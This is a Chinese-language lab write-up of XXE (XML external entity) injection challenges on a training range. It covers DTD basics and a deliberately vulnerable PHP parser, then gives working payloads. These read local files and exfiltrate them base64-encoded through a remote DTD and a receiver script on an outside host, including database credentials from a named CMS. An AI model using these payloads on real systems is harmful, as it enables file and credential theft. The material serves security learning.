前言

  • 掌控安全里面的靶场漏洞挖掘XXE实体注入,学习一下!

做XXE题目之前我们先了解一下XXE实体注入的原理和利用方法

XXE基础知识

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA,由于网上太多介绍就不详细说了

DTD(文档类型定义)

DTD(document type defined)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

而DTD的外部实体引用正是XXE漏洞诱因

首先写一个测试xml的文档的php代码

<?php
$test=$_POST['xml'];
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
highlight_file(__FILE__);
?>

1、内部声明

完整实例

<?xml version="1.0"?>
<!DOCTYPE note [<!ELEMENT note (to,from,heading,body)><!ELEMENT to      (#PCDATA)><!ELEMENT from    (#PCDATA)><!ELEMENT heading (#PCDATA)><!ELEMENT body    (#PCDATA)>
]>
<note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body>
</note>

将我们刚刚的php代码利用burp抓包post传入内部声明形式输出看看,注意:要url编码一下,不然&无法被解析而报错

如下内部声明输出结果

2、外部声明

<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

同样编码一下,正常输出

由此,我们了解了基本的DTD内部和外部声明的使用

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;

1、内部实体声明:

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]><test>&writer;&copyright;</test>

post传进去看看输出结果,同样正常输出

2、外部实体声明

<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。

XXE的攻击方法

方法一:直接通过DTD外部实体声明

<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///C:/1.txt">
]>
<xxe>&xxe;</xxe>

发包访问我C盘目录中1.txt文件

方法二:通过DTD文档引入外部DTD文档,再引入外部实体声明,由于普通的引入外部实体声明就不说了,直接说如果不回显怎么办

当我们本地将php代码中的回显给关了,那我们怎么获取当前电脑的c:/1.txt文件呢?很简单,直接在公网域名上构造第一个php文件x.php

<?php
$content = $_GET['1'];
if(isset($content)){file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{echo 'no data input';
}

和第二个xxe.xml的外部实体文档

<!ENTITY % all
"<!ENTITY % send SYSTEM 'http://127.0.0.1/xml/x.php?1=%file;'"
>
%all;

接着构造一个payload

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xml/xxe.xml">
%remote;
%send;
]>

post传参发包,发现生成了一个flag.txt

接着我们就得到1.txt的base64的形式,解码一下,就可以得到其中的内容

支持的协议有哪些?

具体的根据情况会产生的危害:

1、读取任意文件

2、执行系统命令(expect需要扩展支持)

3、探测内网端口(利用http访问)

4、攻击内网网站等

XXE-1

通过上面,我们已经充分了解了XXE的基础知识,直接进入实战环节

实验环境:http://59.63.200.79:8014/xxe/index.php

打开靶场看到一个有xxe注入的点

 $postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);

而$postStr是由post传参的内容所控制,所以这里存在XXE漏洞

最底下爆出了绝对路径

这题目标很明确了,由于攻击没有回显,在公网的某个服务器中放入我们刚刚的x.phpxxe.xml

接着利用绝对路径可以读取flag,payload

若是你没有公网vps服务器的话,这里有两个挂在公网上的可以试用

http://59.63.200.79:8017/1.xml

http://59.63.200.79:8017/3.txt

访问上面那个一样可以

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/phpStudy/WWW/xxe/flag.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

base64解码一下就是flag了

XXE-2

实验环境:http://59.63.200.79:8207/

打开一看是个网站,看一下源码发现是闪灵CMS建站

下载源码找关键函数simplexml_load_string,这个容易出现xxe

分析

1、$postArr是php://input直接接受post传参的。php://input可以读取没有处理过的POST数据,相较于$HTTP_RAW_POST_DATA而言,它给内存带来的压力较小,并且不需要特殊的php.ini设置,php://input不能用于enctype=multipart/form-data。明显存在XXE

2、想让if满足条件,$signature不为空,$echostr要为空,追踪发现signature和echostr都是GET传参

3、漏洞位置在weixin/index.php,可以通过源码知道存在/conn/conn.php的文件,里面包含着数据库文件

知道了地点了,测试了下是windows系统,访问一下c:/windows/win.ini

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/windows/win.ini">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

可以直接利用爆出的路径读取conn/conn.php

payload如下

<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=C:/phpStudy/scms/conn/conn.php">
<!ENTITY % remote SYSTEM "http://59.63.200.79:8017/1.xml">
%remote;
%send;
]>

你们访问http://59.63.200.79:8017/3.txt应该就可以看到

接着解码看看,数据库的全部数据都出来了,可以直接

根据源码可以找到adminer.php是连接数据库的后台http://59.63.200.79:8207/adminer.php

但是很奇怪的是,这个数据库居然在linux系统里面,所以登陆不了管理员后台

日志和UDF都撸不了,没权限开读文件功能。

我的个人博客

孤桜懶契:http://gylq.gitee.io

【封神台】漏洞挖掘XXE wp相关推荐

  1. SQL注入漏洞_封神台第一关

    SQL注入漏洞_封神台第一关 http://59.63.200.79:8003/?id=1 一.观察疑似可注入点 ?id=1 二.尝试输入单引号和双引号 使用hackbar进行测试比较好 以下是正常显 ...

  2. 封神台之萌新也能找CMS漏洞整理记录

    封神台之萌新也能找CMS漏洞整理记录 工具 信息收集 通过后台直接获取SHELL 使用终端shell 工具 御剑后台扫描工具 ,BurpSuite, 菜刀.蚁剑 信息收集 靶场地址 后台地址 先扫下敏 ...

  3. shodan 渗透测试 漏洞挖掘 一些用法

    渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...

  4. 【封神台 - 掌控安全靶场】尤里的复仇 Ⅰ 小芳!一二三四五六七章

    [封神台 - 掌控安全靶场]尤里的复仇 小芳! 第一章:为了女神小芳! SQL注入攻击原理实战演练 一.判断是否存在sql注入漏洞 二.判断字段数 三.判断回显点 四.正式注入 五.sql自动化注入 ...

  5. 如何入门漏洞挖掘,以及提高自己的挖掘能力

    0x01:前言 大家好我是米斯特团队的一员,我的id香瓜,我们团队在这次i春秋第二次漏洞挖掘大赛中,包揽了前五名,我key表哥一不小心拿了一个第一,导致很多人来加他好友问他,如何修炼漏洞挖掘能力,我今 ...

  6. 攻防比赛中系统层漏洞挖掘-身份隐藏解决方案

    系统层漏洞挖掘 系统层漏洞的挖掘需要很多相对高级的漏洞挖掘方法.从实战角 度看,以下6种挖掘方法最为实用:代码跟踪.动态调试.Fuzzing技 术.补丁对比.软件逆向静态分析.系统安全机制分析. 1) ...

  7. Shodan在渗透测试及漏洞挖掘中的一些用法

    渗透测试中,第一阶段就是信息搜集,这一阶段完成的如何决定了你之后的进行是否顺利,是否更容易.而关于信息收集的文章网上也是有太多.今天我们来通过一些例子来讲解如何正确使用Shodan这一利器. 想要利用 ...

  8. 封神台靶场writeup

    封神台靶场 https://hack.zkaq.cn/battle 还是很有意思的一个靶场 查看源码,找到了字典文件: 用域名爆破工具,放入字典后爆破:答案为:http://8adc3387c2ed6 ...

  9. sqlmap的使用 (以封神台题目为例)

    一.sqlmap选项 目标:至少要选中一个参数      -u URL, --url=URL   目标为 URL (例如. "http://www.site.com/vuln.php?id= ...

最新文章

  1. Nature Protocols:整合宏基因组、代谢组和表型分析的的计算框架
  2. jQuery extend方法介绍
  3. urllib的实现---cookie处理
  4. 为什么Java能够持续的受到欢迎呢?原因有这些
  5. PreparedStatement和Statement比较
  6. python 代理的使用
  7. endnote x9打开闪退_最新最全!Endnote X9完美使用方法
  8. Collapse Hierarchy(折叠继承体系)
  9. 一个传统媒体人转型创业的真实故事
  10. 【计算机网络】—— 停止-等待协议
  11. JspWriter 与 printwriter区别
  12. WampServer服务中MySQL无法正常启动解决方案
  13. Docker 基础 ( 二十 ) 部署Redis集群,问题记录
  14. tcpdump源码分析(3)——android系统移植(tcpdump,gdb,netstat)
  15. delphi7中idHTTP的使用
  16. 易语言API HOOK DeviceIOControl修改磁盘序列号
  17. 华为数据治理及数据分类管理实践
  18. 【信源编码技术】实验1-浊音清音爆破音的时域及频域特性分析
  19. 2015蓝桥真题(A组省赛)
  20. Windows10打开“运行”窗口

热门文章

  1. 行列式基础知识,重要定理和公式
  2. 浪潮信息入围Forrester权威报告,荣膺Strong Performers
  3. 数据库系统概论②——关系数据库基础
  4. 【WEB安全自学】第一节 WEB基础环境搭建
  5. FreeRTOS系统定时器任务的实现
  6. 解决kibana无法启动问题
  7. Xilinx fifo研究总结
  8. Unity制作头顶血条方式对比与优化
  9. 扒一扒你不知道的《经济学人》大家族
  10. 为安卓应用申请更大的内存 largeHeap=true